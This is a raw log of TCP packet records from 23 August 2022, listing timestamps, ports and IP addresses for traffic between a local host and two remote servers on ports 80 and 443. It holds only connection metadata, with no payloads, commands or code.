Aug 23, 2022 03:42:41.584388018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584392071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584404945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584413052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584429979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584444046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584552050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584573030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584580898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584589958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584600925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584604979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584620953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584620953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584631920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584650040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584652901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584671021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584681034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584682941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584706068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584719896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584851027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584872007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584889889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584902048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584903002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584928036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584949970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585238934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585259914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585278034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585290909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585293055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585316896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585474014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585508108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585541010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585544109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585558891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585575104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585577965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585594893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585601091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585612059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585617065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585625887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585633039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585656881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585658073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585740089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585762978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585776091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.585777044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585794926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.585819960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.586340904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.586813927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.586839914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.586853981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.586880922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.586905003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.586932898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.586946964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.586977005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.586977005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.587007046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:42.210356951 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.210396051 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.210637093 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.213203907 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.213232040 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.292345047 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.297523975 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.298311949 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.298341036 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.298716068 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.301106930 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.301229000 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.316999912 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.317146063 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.317248106 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.320307016 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:42.320346117 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.507375002 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:42.507574081 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.038260937 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.038317919 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.038629055 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.044156075 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.044198990 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.132431030 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.133411884 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.172214985 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.172247887 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.173829079 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.173849106 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.199568033 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.199651003 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.199668884 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.199701071 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.221031904 CEST	49757	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.221074104 CEST	443	49757	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.564244032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.598958969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706528902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706599951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706651926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706675053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706701040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706723928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706732035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706749916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706796885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706799030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706813097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706826925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706839085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706870079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706881046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706923008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706928968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.706970930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.706976891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.707020998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741556883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741702080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741765976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741810083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741821051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741861105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741863012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741905928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741911888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741944075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.741961956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741983891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.741993904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742043972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742047071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742084980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742094994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742126942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742140055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742171049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742175102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742212057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742218971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742254019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742259979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742292881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742300034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742331982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742342949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742376089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742378950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742424965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742496967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742544889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742553949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742588043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742589951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742629051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.742636919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.742685080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778004885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778106928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778145075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778189898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778197050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778239965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778263092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778314114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778337002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778405905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778409004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778456926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778548956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778597116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778609991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778659105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778680086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778724909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778749943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778795958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.778800011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.778846979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788702011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788748980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788789988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788813114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788821936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788835049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788840055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788865089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788876057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788902998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788913012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788945913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788950920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.788979053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.788991928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789012909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789022923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789047956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789058924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789083004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789092064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789107084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789145947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789155960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789381981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789441109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789500952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789552927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789577007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789608955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789624929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789648056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789652109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789697886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789726019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789768934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789774895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789798021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789827108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789839029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789846897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789884090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789885998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789927959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789928913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789961100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.789974928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.789997101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.790008068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.790033102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.790040016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.790066957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.790077925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.790091991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.790111065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.790124893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.790127993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.790172100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.812972069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813029051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813172102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813266039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813294888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813329935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813373089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813376904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813412905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813453913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813456059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813479900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813489914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813523054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813555002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813558102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813570023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813576937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813590050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813621044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813632965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813653946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813654900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813662052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813688040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813699007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813721895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813744068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813756943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813766956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813792944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813806057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813827038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813834906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813859940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813872099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813889027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813920975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813921928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813936949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.813971043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.813998938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.814275980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826064110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826101065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826143980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826175928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826179028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826205969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826210976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826215029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826216936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826257944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826306105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826345921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826353073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826396942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826399088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826442003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826445103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826486111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826491117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826534033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826539993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826579094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826581001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826612949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826618910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826648951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826653957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826683998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826690912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826721907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826725006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826764107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826805115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826847076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826848984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826886892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.826891899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826931000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.826966047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827002048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827070951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827094078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827099085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827102900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827142000 CEST	80	49743	45.95.11.158	192.168.2.4
